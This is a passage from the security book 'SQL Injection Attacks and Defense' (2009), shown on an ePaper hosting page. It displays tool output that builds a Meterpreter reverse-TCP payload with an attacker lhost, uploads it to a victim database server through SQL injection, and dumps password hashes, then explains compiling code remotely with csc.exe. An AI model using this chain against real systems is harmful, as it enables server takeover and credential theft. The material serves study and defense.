28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

2 443<br />

[+] Calling msfpayload3 to create the payload ...<br />

Created by msfpayload (http://www.metasploit.com).<br />

Payload: windows/meterpreter/reverse_tcp<br />

Length: 177<br />

Options: exitfunc=process,lport=12345,lhost=192.168.217.128<br />

[+] Payload (met13322.exe) created. Now converting it to debug script<br />

[+] Uploading /tmp/met13322.scr debug script… <br />

www.victim.com:1343) use priv hashdump <br />

Bingo! The preceding code would give you interactive access on the remote database<br />

server with which you have extracted the operating system password hashes.<br />

<strong>SQL</strong> Server 2005 CLR integration gives you a way to compile much more complex<br />

binaries on the remote system, but it also gives you the guarantee that the remote system has<br />

a .NET runtime <strong>and</strong> also, by default, will have a .NET compiler. (Microsoft bundles the csc.exe<br />

comm<strong>and</strong>-line compiler in the %windir%\Microsoft.NET\Framework\VerXX\ directory.)<br />

This means that using the same technique, you can create a source file line by line <strong>and</strong> call<br />

the csc.exe compiler to build it for you with no restrictions, as demonstrated in Figure 6.18.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!